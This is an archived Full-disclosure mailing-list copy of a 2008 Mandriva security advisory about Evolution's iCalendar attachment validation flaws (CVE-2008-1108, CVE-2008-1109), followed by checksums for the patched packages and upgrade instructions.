any included attachments and notify 3Com immediately by contacting the
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[Full-disclosure] [ MDVSA-2008:111 ] - Updated Evolution packages fix vulnerabilities

2008-06-10 Thread security

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___
 
 Mandriva Linux Security Advisory MDVSA-2008:111
 http://www.mandriva.com/security/
 ___
 
 Package : evolution
 Date: June 10, 2008
 Affected: 2008.0, 2008.1
 ___
 
 Problem Description:
 
 Alan Rad Pop of Secunia Research discovered the following two
 vulnerabilities in Evolution:
 
 Evolution did not properly validate timezone data when processing
 iCalendar attachments.  If a user disabled the Itip Formatter plugin
 and viewed a crafted iCalendar attachment, an attacker could cause
 a denial of service or potentially execute arbitrary code with the
 user's privileges (CVE-2008-1108).
 
 Evolution also did not properly validate the DESCRIPTION field when
 processing iCalendar attachments.  If a user were tricked into
 accepting a crafted iCalendar attachment and replied to it from
 the calendar window, an attacker could cause a denial of service
 or potentially execute arbitrary code with the user's privileges
 (CVE-2008-1109).
 
 In addition, Matej Cepl found that Evolution did not properly validate
 date fields when processing iCalendar attachments, which could lead to
 a denial of service if the user viewed a crafted iCalendar attachment
 with the Itip Formatter plugin disabled.
 
 Mandriva Linux has the Itip Formatter plugin enabled by default.
 
 The updated packages have been patched to prevent these issues.
 ___

 References:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1108
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1109
 ___
 
 Updated Packages:
 
 Mandriva Linux 2008.0:
 86861fcbce9b5751c2f4c8f4e6076027  
2008.0/i586/evolution-2.12.3-1.3mdv2008.0.i586.rpm
 51304a01de8a3fdc8709a7ebefa419f5  
2008.0/i586/evolution-devel-2.12.3-1.3mdv2008.0.i586.rpm
 54309a365e4230d17af985752328c59e  
2008.0/i586/evolution-mono-2.12.3-1.3mdv2008.0.i586.rpm
 e8c0063772b787f3cff03d4f228535ad  
2008.0/i586/evolution-pilot-2.12.3-1.3mdv2008.0.i586.rpm 
 ea799209d02c990b4ae47a44d3f8e941  
2008.0/SRPMS/evolution-2.12.3-1.3mdv2008.0.src.rpm

 Mandriva Linux 2008.0/X86_64:
 342ef5c0e26207769e028e0c2d1e29fe  
2008.0/x86_64/evolution-2.12.3-1.3mdv2008.0.x86_64.rpm
 248c1d3c025775153305e61dbd933c73  
2008.0/x86_64/evolution-devel-2.12.3-1.3mdv2008.0.x86_64.rpm
 82f92a5998acf3dc78712bbe4ccae782  
2008.0/x86_64/evolution-mono-2.12.3-1.3mdv2008.0.x86_64.rpm
 1a65442d809e03ed76b8f176d78a3c03  
2008.0/x86_64/evolution-pilot-2.12.3-1.3mdv2008.0.x86_64.rpm 
 ea799209d02c990b4ae47a44d3f8e941  
2008.0/SRPMS/evolution-2.12.3-1.3mdv2008.0.src.rpm

 Mandriva Linux 2008.1:
 90239c10aa2d019b3c576b41e01877c2  
2008.1/i586/evolution-2.22.0-4.1mdv2008.1.i586.rpm
 4fc0d51dd6dcfc4cf0c1e34ebbb5d795  
2008.1/i586/evolution-devel-2.22.0-4.1mdv2008.1.i586.rpm
 81588eabd76768bd283e8d8aecb00713  
2008.1/i586/evolution-mono-2.22.0-4.1mdv2008.1.i586.rpm
 9489207c3cec4c6faea8dcfcb036b75a  
2008.1/i586/evolution-pilot-2.22.0-4.1mdv2008.1.i586.rpm 
 0ba6833324e7f3953552a1f1a2e7f253  
2008.1/SRPMS/evolution-2.22.0-4.1mdv2008.1.src.rpm

 Mandriva Linux 2008.1/X86_64:
 afb8093f30cb8b0f382fa6369bcaabcc  
2008.1/x86_64/evolution-2.22.0-4.1mdv2008.1.x86_64.rpm
 78951187acaa837e2f38bb7d505f24e0  
2008.1/x86_64/evolution-devel-2.22.0-4.1mdv2008.1.x86_64.rpm
 f47238cf692dd3af540f5c66e0b8366e  
2008.1/x86_64/evolution-mono-2.22.0-4.1mdv2008.1.x86_64.rpm
 761533971e87da6da4d66b6fc968c652  
2008.1/x86_64/evolution-pilot-2.22.0-4.1mdv2008.1.x86_64.rpm 
 0ba6833324e7f3953552a1f1a2e7f253  
2008.1/SRPMS/evolution-2.22.0-4.1mdv2008.1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
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